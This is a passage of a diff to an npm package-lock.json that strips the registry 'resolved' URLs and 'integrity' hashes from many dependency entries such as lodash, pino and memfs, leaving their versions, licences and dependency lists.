"sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", "license": "MIT", "dependencies": { "buffer-equal-constant-time": "^1.0.1", @@ -7316,8 +6897,6 @@ }, "node_modules/jws": { "version": "4.0.1", - "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", - "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", "license": "MIT", "dependencies": { "jwa": "^2.0.1", @@ -7347,8 +6926,6 @@ }, "node_modules/lazystream": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", - "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", "license": "MIT", "dependencies": { "readable-stream": "^2.0.5" @@ -7359,8 +6936,6 @@ }, "node_modules/leven": { "version": "3.1.0", - "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", - "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", "devOptional": true, "license": "MIT", "engines": { @@ -7380,8 +6955,6 @@ }, "node_modules/lie": { "version": "3.3.0", - "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", - "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", "license": "MIT", "dependencies": { "immediate": "~3.0.5" @@ -7389,8 +6962,6 @@ }, "node_modules/lines-and-columns": { "version": "1.2.4", - "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", - "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", "devOptional": true, "license": "MIT" }, @@ -7409,44 +6980,30 @@ }, "node_modules/lodash": { "version": "4.18.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", - "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", "license": "MIT" }, "node_modules/lodash.includes": { "version": "4.3.0", - "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", - "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==", "license": "MIT" }, "node_modules/lodash.isboolean": { "version": "3.0.3", - "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", - "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==", "license": "MIT" }, "node_modules/lodash.isinteger": { "version": "4.0.4", - "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", - "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==", "license": "MIT" }, "node_modules/lodash.isnumber": { "version": "3.0.3", - "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", - "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==", "license": "MIT" }, "node_modules/lodash.isplainobject": { "version": "4.0.6", - "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", - "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", "license": "MIT" }, "node_modules/lodash.isstring": { "version": "4.0.1", - "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", - "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==", "license": "MIT" }, "node_modules/lodash.memoize": { @@ -7460,8 +7017,6 @@ }, "node_modules/lodash.once": { "version": "4.1.1", - "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", - "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", "license": "MIT" }, "node_modules/loose-envify": { @@ -7476,8 +7031,6 @@ }, "node_modules/lower-case": { "version": "2.0.2", - "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", - "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", "license": "MIT", "dependencies": { "tslib": "^2.0.3" @@ -7492,8 +7045,6 @@ }, "node_modules/make-dir": { "version": "4.0.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", - "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -7532,8 +7083,6 @@ }, "node_modules/memfs": { "version": "4.38.1", - "resolved": "https://registry.npmjs.org/memfs/-/memfs-4.38.1.tgz", - "integrity": "sha512-exfrOkkU3m0EpbQ0iQJP93HUbkprnIBU7IUnobSNAzHkBUzsklLwENGLEm8ZwJmMuLoFEfv1pYQ54wSpkay4kQ==", "license": "Apache-2.0", "dependencies": { "@jsonjoy.com/json-pack": "^1.11.0", @@ -7558,8 +7107,6 @@ }, "node_modules/merge2": { "version": "1.4.1", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", "license": "MIT", "engines": { "node": ">= 8" @@ -7574,8 +7121,6 @@ }, "node_modules/micromatch": { "version": "4.0.8", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", - "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", "license": "MIT", "dependencies": { "braces": "^3.0.3", @@ -7587,8 +7132,6 @@ }, "node_modules/mime-db": { "version": "1.52.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", "license": "MIT", "engines": { "node": ">= 0.6" @@ -7596,8 +7139,6 @@ }, "node_modules/mime-types": { "version": "2.1.35", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", "license": "MIT", "dependencies": { "mime-db": "1.52.0" @@ -7608,8 +7149,6 @@ }, "node_modules/mimic-fn": { "version": "2.1.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", - "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", "devOptional": true, "license": "MIT", "engines": { @@ -7649,8 +7188,6 @@ }, "node_modules/multistream": { "version": "3.1.0", - "resolved": "https://registry.npmjs.org/multistream/-/multistream-3.1.0.tgz", - "integrity": "sha512-zBgD3kn8izQAN/TaL1PCMv15vYpf+Vcrsfub06njuYVYlzUldzpopTlrEZ53pZVEbfn3Shtv7vRFoOv6LOV87Q==", "license": "MIT", "dependencies": { "inherits": "^2.0.1", @@ -7659,8 +7196,6 @@ }, "node_modules/multistream/node_modules/readable-stream": { "version": "3.6.2", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", - "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "license": "MIT", "dependencies": { "inherits": "^2.0.3", @@ -7673,8 +7208,6 @@ }, "node_modules/napi-postinstall": { "version": "0.3.4", - "resolved": "https://registry.npmjs.org/napi-postinstall/-/napi-postinstall-0.3.4.tgz", - "integrity": "sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ==", "devOptional": true, "license": "MIT", "bin": { @@ -7693,8 +7226,6 @@ }, "node_modules/neo-async": { "version": "2.6.2", - "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", - "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", "dev": true, "license": "MIT" }, @@ -7707,8 +7238,6 @@ }, "node_modules/no-case": { "version": "3.0.4", - "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", - "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", "license": "MIT", "dependencies": { "lower-case": "^2.0.2", @@ -7717,8 +7246,6 @@ }, "node_modules/node-fetch": { "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", "license": "MIT", "dependencies": { "whatwg-url": "^5.0.0" @@ -7764,8 +7291,6 @@ }, "node_modules/npm-run-path": { "version": "4.0.1", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", - "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -7876,8 +7401,6 @@ }, "node_modules/on-exit-leak-free": { "version": "2.1.2", - "resolved": "https://registry.npmjs.org/on-exit-leak-free/-/on-exit-leak-free-2.1.2.tgz", - "integrity": "sha512-0eJJY6hXLGf1udHwfNftBqH+g73EU4B504nZeKpz1sYRKafAghwxEJunB2O7rDZkL4PGfsMVnTXZ2EjibbqcsA==", "license": "MIT", "engines": { "node": ">=14.0.0" @@ -7892,8 +7415,6 @@ }, "node_modules/onetime": { "version": "5.1.2", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", - "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -8004,14 +7525,10 @@ }, "node_modules/pako": { "version": "1.0.11", - "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", - "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", "license": "(MIT AND Zlib)" }, "node_modules/param-case": { "version": "3.0.4", - "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", - "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", "license": "MIT", "dependencies": { "dot-case": "^3.0.4", @@ -8030,8 +7547,6 @@ }, "node_modules/parse-json": { "version": "5.2.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", - "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -8049,8 +7564,6 @@ }, "node_modules/pascal-case": { "version": "3.1.2", - "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", - "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", "license": "MIT", "dependencies": { "no-case": "^3.0.4", @@ -8059,8 +7572,6 @@ }, "node_modules/path-case": { "version": "3.0.4", - "resolved": "https://registry.npmjs.org/path-case/-/path-case-3.0.4.tgz", - "integrity": "sha512-qO4qCFjXqVTrcbPt/hQfhTQ+VhFsqNKOPtytgNKkKxSoEp3XPUQ8ObFuePylOIok5gjn69ry8XiULxCwot3Wfg==", "license": "MIT", "dependencies": { "dot-case": "^3.0.4", @@ -8076,8 +7587,6 @@ }, "node_modules/path-expression-matcher": { "version": "1.6.1", - "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.6.1.tgz", - "integrity": "sha512-h7bxdzhHk8Knyc4Tj+jMaa7fEEoUJy7p1qtbVgkYg1Uhpe5Np5VuGXCRZnkZvU+Q42M1vStt0ifa3ueykRJPmQ==", "funding": [ { "type": "github", @@ -8109,8 +7618,6 @@ }, "node_modules/path-scurry": { "version": "1.11.1", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", - "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", "license": "BlueOak-1.0.0", "dependencies": { "lru-cache": "^10.2.0", @@ -8125,8 +7632,6 @@ }, "node_modules/path-scurry/node_modules/lru-cache": { "version": "10.4.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", - "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", "license": "ISC" }, "node_modules/picocolors": { @@ -8145,8 +7650,6 @@ }, "node_modules/pino": { "version": "9.14.0", - "resolved": "https://registry.npmjs.org/pino/-/pino-9.14.0.tgz", - "integrity": "sha512-8OEwKp5juEvb/MjpIc4hjqfgCNysrS94RIOMXYvpYCdm/jglrKEiAYmiumbmGhCvs+IcInsphYDFwqrjr7398w==", "license": "MIT", "dependencies": { "@pinojs/redact": "^0.4.0", @@ -8167,8 +7670,6 @@ }, "node_modules/pino-abstract-transport": { "version": "1.2.0", - "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-1.2.0.tgz", - "integrity": "sha512-Guhh8EZfPCfH+PMXAb6rKOjGQEoy0xlAIn+irODG5kgfYV+BQ0rGYYWTIel3P5mmyXqkYkPmdIkywsn6QKUR1Q==", "license": "MIT", "dependencies": { "readable-stream": "^4.0.0", @@ -8177,8 +7678,6 @@ }, "node_modules/pino-abstract-transport/node_modules/readable-stream": { "version": "4.7.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", - "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", "license": "MIT", "dependencies": { "abort-controller": "^3.0.0", @@ -8193,8 +7692,6 @@ }, "node_modules/pino-abstract-transport/node_modules/safe-buffer": { "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", "funding": [ { "type": "github", @@ -8213,8 +7710,6 @@ }, "node_modules/pino-abstract-transport/node_modules/string_decoder": { "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "license": "MIT", "dependencies": { "safe-buffer": "~5.2.0" @@ -8222,8 +7717,6 @@ }, "node_modules/pino-pretty": { "version": "11.3.0", - "resolved": "https://registry.npmjs.org/pino-pretty/-/pino-pretty-11.3.0.tgz", - "integrity": "sha512-oXwn7ICywaZPHmu3epHGU2oJX4nPmKvHvB/bwrJHlGcbEWaVcotkpyVHMKLKmiVryWYByNp0jpgAcXpFJDXJzA==", "license": "MIT", "dependencies": { "colorette": "^2.0.7", @@ -8247,8 +7740,6 @@ }, "node_modules/pino-pretty/node_modules/pino-abstract-transport": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-2.0.0.tgz", - "integrity": "sha512-F63x5tizV6WCh4R6RHyi2Ml+M70DNRXt/+HANowMflpgGFMAym/VKm6G7ZOQRjqN7XbGxK1Lg9t6ZrtzOaivMw==", "license": "MIT", "dependencies": { "split2": "^4.0.0" @@ -8256,8 +7747,6 @@ }, "node_modules/pino-pretty/node_modules/readable-stream": { "version": "4.7.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", - "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", "license": "MIT", "dependencies": { "abort-controller": "^3.0.0", @@ -8272,8 +7761,6 @@ }, "node_modules/pino-pretty/node_modules/safe-buffer": { "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", "funding": [ { "type": "github", @@ -8292,8 +7779,6 @@ }, "node_modules/pino-pretty/node_modules/string_decoder": { "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "license": "MIT", "dependencies": { "safe-buffer": "~5.2.0" @@ -8301,14 +7786,10 @@ }, "node_modules/pino-std-serializers": { "version": "7.1.0", - "resolved": "https://registry.npmjs.org/pino-std-serializers/-/pino-std-serializers-7.1.0.tgz", - "integrity": "sha512-BndPH67/JxGExRgiX1dX0w1FvZck5Wa4aal9198SrRhZjH3GxKQUKIBnYJTdj2HDN3UQAS06HlfcSbQj2OHmaw==", "license": "MIT" }, "node_modules/pino/node_modules/pino-abstract-transport": { "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-2.0.0.tgz", - "integrity": "sha512-F63x5tizV6WCh4R6RHyi2Ml+M70DNRXt/+HANowMflpgGFMAym/VKm6G7ZOQRjqN7XbGxK1Lg9t6ZrtzOaivMw==", "license": "MIT", "dependencies": { "split2": "^4.0.0" @@ -8324,8 +7805,6 @@ }, "node_modules/pkg-dir": { "version": "4.2.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", - "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -8337,8 +7816,6 @@ }, "node_modules/pkg-dir/node_modules/find-up": { "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -8351,8 +7828,6 @@ }, "node_modules/pkg-dir/node_modules/locate-path": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", "devOptional": true, "license": "MIT", "dependencies": { @@ -8364,8 +7839,6 @@ }, "node_modules/pkg-dir/node_modules/p-limit": { "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", "devOptional": true, "license": "MIT", "dependencies": { @@ -8380,8 +7853,6 @@ }, "node_modules/pkg-dir/node_modules/p-locate": { "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", "devOptional": true, "license": "MIT", "dependencies": { @@ -8407,8 +7878,6 @@ }, "node_modules/pretty-format": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", - "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -8434,8 +7903,6 @@ }, "node_modules/process": { "version": "0.11.10", - "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", - "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==", "license": "MIT", "engines": { "node": ">= 0.6.0" @@ -8447,8 +7914,6 @@ }, "node_modules/process-warning": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/process-warning/-/process-warning-5.0.0.tgz", - "integrity": "sha512-a39t9ApHNx2L4+HBnQKqxxHNs1r7KF+Intd8Q/g1bUh6q0WIp9voPXJ/x0j+ZL45KF1pJd9+q2jLIRMfvEshkA==", "funding": [ { "type": "github", @@ -8476,8 +7941,6 @@ }, "node_modules/proper-lockfile": { "version": "4.1.2", - "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", - "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", "license": "MIT", "dependencies": { "graceful-fs": "^4.2.4", @@ -8487,8 +7950,6 @@ }, "node_modules/proper-lockfile/node_modules/signal-exit": { "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", "license": "ISC" }, "node_modules/proxy-agent": { @@ -8521,8 +7982,6 @@ }, "node_modules/pump": { "version": "3.0.4", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.4.tgz", - "integrity": "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==", "license": "MIT", "dependencies": { "end-of-stream": "^1.1.0", @@ -8538,8 +7997,6 @@ }, "node_modules/pure-rand": { "version": "7.0.1", - "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-7.0.1.tgz", - "integrity": "sha512-oTUZM/NAZS8p7ANR3SHh30kXB+zK2r2BPcEn/awJIbOvq82WoMN4p62AWWp3Hhw50G0xMsw1mhIBLqHw64EcNQ==", "devOptional": true, "funding": [ { @@ -8573,23 +8030,17 @@ }, "node_modules/quick-format-unescaped": { "version": "4.0.4", - "resolved": "https://registry.npmjs.org/quick-format-unescaped/-/quick-format-unescaped-4.0.4.tgz", - "integrity": "sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==", "license": "MIT" }, "node_modules/react-is-18": { "name": "react-is", "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", "devOptional": true, "license": "MIT" }, "node_modules/react-is-19": { "name": "react-is", "version": "19.2.6", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-19.2.6.tgz", - "integrity": "sha512-XjBR15BhXuylgWGuslhDKqlSayuqvqBX91BP8pauG8kd1zY8kotkNWbXksTCNRarse4kuGbe2kIY05ARtwNIvw==", "devOptional": true, "license": "MIT" }, @@ -8612,8 +8063,6 @@ }, "node_modules/readdir-glob": { "version": "1.1.3", - "resolved": "https://registry.npmjs.org/readdir-glob/-/readdir-glob-1.1.3.tgz", - "integrity": "sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==", "license": "Apache-2.0", "dependencies": { "minimatch": "^5.1.0" @@ -8621,8 +8070,6 @@ }, "node_modules/readdir-glob/node_modules/minimatch": { "version": "5.1.9", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz", - "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==", "license": "ISC", "dependencies": { "brace-expansion": "^2.0.1" @@ -8633,8 +8080,6 @@ }, "node_modules/real-require": { "version": "0.2.0", - "resolved": "https://registry.npmjs.org/real-require/-/real-require-0.2.0.tgz", - "integrity": "sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==", "license": "MIT", "engines": { "node": ">= 12.13.0" @@ -8680,8 +8125,6 @@ }, "node_modules/require-directory": { "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", "devOptional": true, "license": "MIT", "engines": { @@ -8690,8 +8133,6 @@ }, "node_modules/require-from-string": { "version": "2.0.2", - "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", - "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", "license": "MIT", "engines": { "node": ">=0.10.0" @@ -8717,8 +8158,6 @@ }, "node_modules/resolve-cwd": { "version": "3.0.0", - "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", - "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -8730,8 +8169,6 @@ }, "node_modules/resolve-cwd/node_modules/resolve-from": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", - "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", "devOptional": true, "license": "MIT", "engines": { @@ -8747,8 +8184,6 @@ }, "node_modules/retire": { "version": "5.4.3", - "resolved": "https://registry.npmjs.org/retire/-/retire-5.4.3.tgz", - "integrity": 